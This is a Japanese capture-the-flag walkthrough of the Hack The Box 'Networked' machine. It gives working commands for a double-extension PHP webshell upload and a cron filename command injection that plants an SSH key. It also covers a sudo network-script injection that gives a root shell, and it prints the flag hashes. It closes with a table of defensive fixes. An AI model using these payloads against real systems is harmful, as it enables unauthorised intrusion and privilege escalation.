Hack The BoxのWriteup(Networked)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Networked — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
backup.tar でソース入手
upload.php の検証ロジック判明
→
PNGマジック+PHP アップロード
shell.php.png で二重拡張子バイパス
→
apache RCE
webshell経由コマンド実行
→
cron filename injection
check_attack.php の exec()未サニタイズ
→
guly SSH ログイン
user.txt ✓
→
sudo changename.sh 発見
NOPASSWD
→
network-script injection
NAME=”abc /bin/bash”
→
root bash → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.101
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
BASH
nmap -sV -sC -p 22,80 10.129.86.101
RESULT
22/tcp open  ssh   OpenSSH
80/tcp open  http  Apache/2.4.6 (CentOS) PHP/5.4.16

Webアプリの確認とソース取得

BASH
curl -s http://10.129.86.101/index.php
curl -s -o /dev/null -w "%{http_code}\n" http://10.129.86.101/backup/backup.tar
RESULT
Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->

200
🚨
FaceMash風の画像ギャラリーアプリ(The Social Network映画のオマージュ)。 /backup/backup.tarが認証なしでダウンロード可能で、 アプリのPHPソース一式(upload.php, photos.php, lib.php等)が入っている。

upload.php ソースの解析

BASH
curl -s -o backup.tar http://10.129.86.101/backup/backup.tar
tar xf backup.tar
cat upload.php
NOTE (ソース抜粋・要約)
upload.php の検証ロジックは概ね以下の通り:

1. $_FILES['myFile']['name'] の拡張子を取得し、ホワイトリスト
   (jpg, jpeg, gif, png) に含まれるかチェック
2. getimagesize() でファイルが「画像として読める」かチェック
   (= 先頭にマジックバイトがあればOK、中身の残りは見ない)
3. 保存ファイル名は str_replace('.', '_', $_SERVER['REMOTE_ADDR'])
   . '.' . $ext  (例: 接続元IPが10.10.15.200なら "10_10_15_200.png")

**致命的な欠陥**: 拡張子チェックが「元のファイル名の最後の拡張子」だけを
見ており、"shell.php.png" のような**二重拡張子**ファイルは最後の拡張子
"png" だけが判定され通過してしまう。しかもApacheのmod_mime設定によっては
".php.png" のような複合拡張子ファイルも**PHPとして実行**される構成になっている
(本来は.htaccessやAddHandlerの設定ミスに起因)。
PHASE 2

PNGマジックバイト + 二重拡張子でアップロードフィルタを回避

悪性ファイルの作成

BASH
# 先頭にPNGのマジックバイト(\x89PNG\r\n\x1a\n)を付け、getimagesize()の
# 画像判定を通過させつつ、本体にPHP webshellコードを仕込む
printf '\x89PNG\r\n\x1a\n\n' > shell.php.png

アップロード実行

BASH
# 重要: upload.phpは "submit=go!" フィールドが無いとフォーム再表示のみで
# 処理が実行されない(ソースのif文がこのフィールドの有無をチェックしている)
curl -s http://10.129.86.101/upload.php \
  -F "myFile=@shell.php.png;type=image/png;filename=shell.php.png" \
  -F "submit=go!"
RESULT
<p>file uploaded, refresh gallery</p>
✅
アップロード成功。保存ファイル名は自分の接続元IP由来で決まるため、 10_10_15_200.php.png(自分のKali側VPN IPを置換したもの)という 名前で保存されているはずだが、photos.phpのギャラリー一覧から 正確なファイル名を確認する。

保存ファイル名の確認

BASH
curl -s http://10.129.86.101/photos.php | grep -o "uploads/[0-9_]*\.php\.png"
RESULT
uploads/10_10_15_200.php.png
PHASE 3

webshell 経由の RCE 確認

RCE確認

BASH
curl -s -G --data-urlencode "cmd=id" \
  http://10.129.86.101/uploads/10_10_15_200.php.png
RESULT
�PNG

uid=48(apache) gid=48(apache) groups=48(apache)
✅
RCE成功! apacheユーザー権限で任意コマンドを実行できる ようになった。レスポンスの先頭にPNGマジックバイト由来のバイナリ文字が 混入するのは正常(getimagesize対策で付けた先頭バイトがそのまま出力される)。
PHASE 4

check_attack.php の cron filename injection → guly → user.txt

cron ジョブの発見

BASH
# webshell経由で guly のcron設定を確認(apacheからは読み取り専用で見える設定)
curl -s -G --data-urlencode "cmd=cat /etc/cron.d/* 2>/dev/null; crontab -l -u guly 2>/dev/null" \
  http://10.129.86.101/uploads/10_10_15_200.php.png
RESULT (抜粋)
*/3 * * * * guly /usr/bin/python /home/guly/check_attack.php
ℹ️
gulyユーザーが3分間隔でcheck_attack.phpを実行している。 このスクリプト自体はapache権限からは直接読めない可能性があるが、backup.tar内の ソースコードから挙動を把握する。

check_attack.php の脆弱なロジック

NOTE (ソース要約)
check_attack.php は /var/www/html/uploads 配下のファイルを列挙し、
各ファイル名に対して疑わしい文字列("attack"等)が含まれるかをチェック後、
该当すれば削除するロジックを持つ。削除処理の実装が:

  exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

という形で、**ファイル名の値($value)をシェルコマンド文字列に未サニタイズで
直接連結している**。つまり、/uploads に置くファイルの「名前そのもの」が
guly権限でのコマンドインジェクションのベクターになる。
🚨
ファイル名に ; コマンド; という形を仕込めば、 rm -f /path/; コマンド; のように解釈され、 セミコロンで区切られた任意コマンドがguly権限で実行される。 ただし、Linuxのファイル名にはスラッシュ(/)を含められない という制約があるため、パスを含むコマンド(SSHキー注入等)は そのままファイル名にできない。

SSH公開鍵の準備 & 255バイト制限の回避

BASH
# 鍵ペア生成
ssh-keygen -t ed25519 -f ./guly_key -N "" -q
PUBKEY=$(cat guly_key.pub)

# apache権限で公開鍵全体を /dev/shm/p に先に置いておく(world-readable)
curl -s -G --data-urlencode "cmd=echo '$PUBKEY' > /dev/shm/p; chmod 666 /dev/shm/p" \
  http://10.129.86.101/uploads/10_10_15_200.php.png
⚠️
重要な落とし穴: Linuxのファイル名は最大255バイト。 SSH公開鍵全体(ed25519で約80文字)を/回避のためhexエンコードして ファイル名に埋め込むと、mkdir -p ~/.ssh; echo "<pubkey全体>" >> ... のようなコマンド全体が500バイト近くになりtouchが失敗する。 対策として、公開鍵自体は先にapache権限で/dev/shmに置き、 guly側で実行させる注入コマンドは「それをauthorized_keysにcatするだけ」の 短いコマンドに留める(hex化後も255バイト以内に収まる)。

注入ファイルの作成(hexエンコード)

PYTHON (注入ファイル名の組み立て)
import base64

UPLOAD_DIR = "/var/www/html/uploads"

# guly権限で実行させる短い注入コマンド (~90文字)
gcmd = ("mkdir -p ~/.ssh;cat /dev/shm/p>>~/.ssh/authorized_keys;"
        "chmod 700 ~/.ssh;chmod 600 ~/.ssh/authorized_keys")
hexcmd = gcmd.encode().hex()   # / を含まないhex文字列に変換 (ファイル名制約回避)

# ファイル名: "; echo |xxd -r -p|bash;"
#   → check_attack.php の exec("rm -f $path<この値>") 内でセミコロン区切りの
#     コマンドとして解釈され実行される
inner = (f"cd {UPLOAD_DIR} && "
          f"touch -- '; echo {hexcmd}|xxd -r -p|bash;'")

# curl/シェルのクォート崩れを避けるため base64 でラップしてwebshellへ送信
b64 = base64.b64encode(inner.encode()).decode()
print(f"echo {b64}|base64 -d|bash")
BASH (webshellへの送信)
curl -s -G --data-urlencode "cmd=echo <上記b64文字列>|base64 -d|bash" \
  http://10.129.86.101/uploads/10_10_15_200.php.png
ℹ️
ファイル名の総バイト数は「; echo (8文字)+ hex文字列(コマンド長×2)+ |xxd -r -p|bash;(16文字)」の合計で、約230バイト程度に収まり 255バイト制限を回避できる。

cron実行を待機 & SSHログイン → user.txt

BASH
# cron は3分間隔。実行されるまで数十秒〜数分待ってからリトライする
for i in $(seq 1 10); do
  out=$(ssh -i guly_key -o StrictHostKeyChecking=no -o IdentitiesOnly=yes \
    guly@10.129.86.101 "id; cat /home/guly/user.txt" 2>&1)
  if echo "$out" | grep -q "uid="; then
    echo "$out"
    break
  fi
  echo "cron未実行、30秒待機 ($i/10)..."
  sleep 30
done
RESULT
uid=1000(guly) gid=1000(guly) groups=1000(guly)
8e0c096213bc139af1594e313d3ff290
user.txt — guly
8e0c096213bc139af1594e313d3ff290
✅
約2分後にcronが発火し、guly権限でauthorized_keysに公開鍵が追記され SSHログインに成功した。
PHASE 5

権限昇格の下調べ — sudo changename.sh の発見

sudo -l でNOPASSWD権限を確認

BASH
guly@networked:~$ sudo -l
RESULT
User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
🚨
gulyはパスワード不要でchangename.shをrootとして実行できる。

changename.sh の挙動確認

BASH
guly@networked:~$ sudo /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
RESULT (ソース要約)
現在のネットワークインターフェース名一覧を表示した後、対話的に
以下を順番に尋ねる:
  Network to change: NAME
  Proxy Method:      PROXY_METHOD
  Browser Only:      BROWSER_ONLY
  Bootproto:         BOOTPROTO

各入力値は正規表現 ^[a-zA-Z0-9_\ /-]+$ でチェックされるが、
**スペースとスラッシュを許可している**(ドット"."のみ不許可)。
入力は最終的に /etc/sysconfig/network-scripts/ifcfg-guly0 に
NAME=<入力値> のような行として書き込まれ、スクリプト末尾で
ifup guly0 が呼ばれる。
ℹ️
CentOS/RHEL系のネットワーク管理スクリプト(ifup系)は、 ifcfg-*設定ファイルをシェルスクリプトとしてsource(読み込み実行) する古い実装になっている場合があり、NAME=値という行の値に スペースを挟んでコマンドを続けて書くと、シェル的に 「NAMEという変数に最初の単語を代入し、残りをコマンドとして実行する」 という形でコマンドインジェクションが成立する。
PHASE 6

network-script injection → root bash → root.txt

NAME に “値 /bin/bash” を注入

BASH
guly@networked:~$ sudo /usr/local/sbin/changename.sh
Network to change: abc /bin/bash
Proxy Method: abc
Browser Only: abc
Bootproto: abc
NOTE
ifcfg-guly0 に書き込まれる行は概ね:

  NAME=abc /bin/bash

という形になる。ifup がこの設定ファイルをシェルとしてsourceする際、
これは「NAME=abc という一時的な環境変数代入付きで /bin/bash を実行する」
という構文として解釈され、**root権限の対話bashがその場で起動する**。
RESULT
(しばらくすると、プロンプトが root# に切り替わる)
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
✅
権限昇格成功! rootの対話シェルを獲得。

root.txt の取得(入力検証の “.” 不許可への対処)

NOTE
注意点: changename.sh の入力値検証(正規表現)は "."(ドット)を許可していない
ため、root化した対話シェル自体は上記の経路では直接関与しないが、
この対話bashを得た後は通常のrootシェルとして自由に操作できるので、
root.txt(ファイル名にドットを含む)もこの中からは問題なく読み書きできる。
BASH
[root@networked network-scripts]# cat /root/root.txt
RESULT
2a90bbd683d488170cb91f2dbff44ad3
root.txt — /root
2a90bbd683d488170cb91f2dbff44ad3
⚠️
自動化する場合の注意: changename.shは対話入力を要求するため、 スクリプトから駆動する場合はpexpect等でプロンプトごとに応答を 送る必要がある。対話シェルの標準出力の取得は環境によって不安定になる ことがあるため、確実性を高めるには「root bashの中で cat /root/root.txt > /tmp/.netroot; chmod 666 /tmp/.netrootを実行し、 対話シェルを終了した後に別の通常のSSHセッションから /tmp/.netrootを読む」という2段構えにすると安定する。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — guly
8e0c096213bc139af1594e313d3ff290
root.txt — /root
2a90bbd683d488170cb91f2dbff44ad3

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
バックアップファイルの認証なし公開 /backup/backup.tar アプリ全ソースの漏洩 Medium ソース解析でupload.phpの検証ロジックの穴を特定
二重拡張子アップロードバイパス upload.php (拡張子チェック + getimagesize) apache権限でのRCE Critical PNGマジックバイト+PHPコードの”shell.php.png”をアップロードし.php.pngとしてPHP実行
cron exec() の未サニタイズファイル名連結 check_attack.php (guly cron、3分間隔) apache → guly への権限昇格(user.txt) Critical /uploads配下に `; コマンド;` という名前のファイルを作成しgulyのcronでコマンド実行
network-script のコマンドインジェクション changename.sh (sudo NOPASSWD) + ifcfg-* のsource実行 guly → root への権限昇格(root.txt) High NAME入力値に”値 /bin/bash”を注入しifupのsource実行経由でroot bashを起動

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + backup.tar取得22/80、upload.phpの検証ロジック判明
2アップロードバイパスPNGマジック+PHP二重拡張子shell.php.pngのアップロード成功
3RCE確認?cmd=idでapache権限コマンド実行apache権限RCE
4水平展開cron filename injection(hex+/dev/shm)user.txt取得(guly)
5権限調査sudo -l + changename.sh解析network-script injectionの脆弱性確認
6権限昇格NAME=”abc /bin/bash” injectionroot.txt取得

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
upload.phpにファイルを送っても何も起きない(フォームが再表示されるだけ) submit=go!フィールドが必須(ソースのif文がこのフィールドの有無をチェックしている)。これが無いとアップロード処理自体が実行されない。
SSH公開鍵全体をファイル名にhexエンコードして注入するとtouchが失敗する Linuxのファイル名は255バイト制限がある。公開鍵全体(~80文字)をhex化すると160文字超、周辺のシェルコマンド文字列を含めると軽く超過する。公開鍵自体は先にapache権限で/dev/shmに置き、guly側の注入コマンドは「それを読むだけ」の短いコマンドに留めることで255バイト以内に収める。
cronが発火するまで待つ必要があり、すぐにはuser.txtが取れない cronの実行間隔(このボックスは3分)を把握し、十分な待機とリトライループを設ける。
changename.shのrootシェル経由でroot.txtをcatしても出力が取れない/途中で切れる 対話シェル(pexpect等)の標準出力取得は環境によって不安定。root bashの中で一旦/tmp等readableな場所にコピーしてから、対話シェルを閉じた後に別の通常のSSHコマンド実行で読み出す2段構成にすると確実。

学んだ教訓 & 防御策

問題点防御策
バックアップファイルがWebルートから認証なしでダウンロード可能 バックアップファイルはWebルート外に保存し、アクセス制御を適用する。デプロイ前のチェックリストに含める。
アップロード検証が拡張子の末尾のみを見ており、getimagesize()も先頭バイトしか確認しない アップロードファイルは拡張子ホワイトリストを厳密に照合(複数拡張子を含む全体を検証)し、保存先ディレクトリでのスクリプト実行自体をWebサーバー設定(例: PHPハンドラを無効化)で禁止する。
cronジョブがユーザー入力由来の値(ファイル名)をシェルコマンドに未サニタイズで連結している シェルコマンドへの動的な値の連結は避け、exec()系の代わりに安全なAPI(配列引数を取るプロセス実行関数等)を使う。どうしても連結が必要な場合は厳格なホワイトリスト検証とエスケープを行う。
ネットワーク設定スクリプトがユーザー入力をそのまま設定ファイルに書き込み、シェルとしてsourceされる 設定ファイルの値は厳密な正規表現(スペース・スラッシュ等のシェル特殊文字を含めて拒否)で検証する。sudoでの実行許可は最小権限の原則に基づき、対話的にシェルコマンドを注入できる余地のあるスクリプトには付与しない。
HackTheBox: Networked | 完全攻略レポート